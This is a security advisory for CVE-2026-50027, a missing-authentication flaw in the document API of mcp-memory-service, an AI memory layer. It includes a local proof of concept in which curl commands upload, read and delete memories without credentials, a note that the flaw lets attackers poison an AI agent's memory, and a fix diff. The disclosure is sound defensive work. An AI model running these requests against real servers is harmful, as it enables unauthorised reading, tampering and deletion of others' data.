GitHub Advisoryadvisory · PyPI

GHSA-84hp-mqvj-3p8h mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

CRITICAL Published 2026-07-02 Modified 2026-07-02 Official page ↗
Aliases
CVE-2026-50027
Ecosystem
PyPI
Packages
mcp-memory-service
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-306
Reviewed
2026-07-02

Affected packages

• PyPI mcp-memory-service: < 10.67.1 → fixed in 10.67.1

Description

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: • `src/mcp_memory_service/web/api/documents.py:33` — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) • `src/mcp_memory_service/web/api/documents.py:43` — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. PoC Prerequisites • Docker installed • Repository cloned at `repo` Build and run the container ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. Execute the PoC ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` Attack chain (6 steps) ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id= ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. Manual curl equivalent ```bash Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories → 401 Unauthorized Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" → content returned without authentication Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' → 200 OK, memories_deleted=1 ``` Observed output • `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. • `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. • `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. • A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. Remediation Add `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`: ```diff --- a/src/mcp_memory_service/web/api/documents.py +++ b/src/mcp_memory_service/web/api/documents.py -from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks +from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends from ..dependencies import get_storage +from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult async def upload_document( background_tasks: BackgroundTasks, file: UploadFile = File(...), + user: AuthenticationResult = Depends(require_write_access), async def batch_upload_documents( background_tasks: BackgroundTasks, files: List[UploadFile] = File(...), + user: AuthenticationResult = Depends(require_write_access), -async def get_upload_status(upload_id: str): +async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)): -async def get_upload_history(): +async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)): -async def remove_document(upload_id: str, remove_from_memory: bool = True): +async def remove_document(upload_id: str, remove_from_memory: bool = True, + user: AuthenticationResult = Depends(require_write_access)): -async def remove_documents_by_tags(tags: List[str]): +async def remove_documents_by_tags(tags: List[str], + user: AuthenticationResult = Depends(require_write_access)): -async def search_document_content(upload_id: str, limit: int = 1000): +async def search_document_content(upload_id: str, limit: int = 1000, + user: AuthenticationResult = Depends(require_read_access)): ``` Impact This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of `mcp-memory-service`. Who is impacted: Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments. Confidentiality: An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data. Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface). Availability: An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data. Reproduction artifacts `Dockerfile` ```dockerfile FROM p…

Related

Alias · CVE (1)

  • CVE-2026-50027 mcp-memory-service is a semantic memory layer for AI applications. vulnerability

Weakness · CWE (1)

  • CWE-306 Missing Authentication for Critical Functionality weakness

References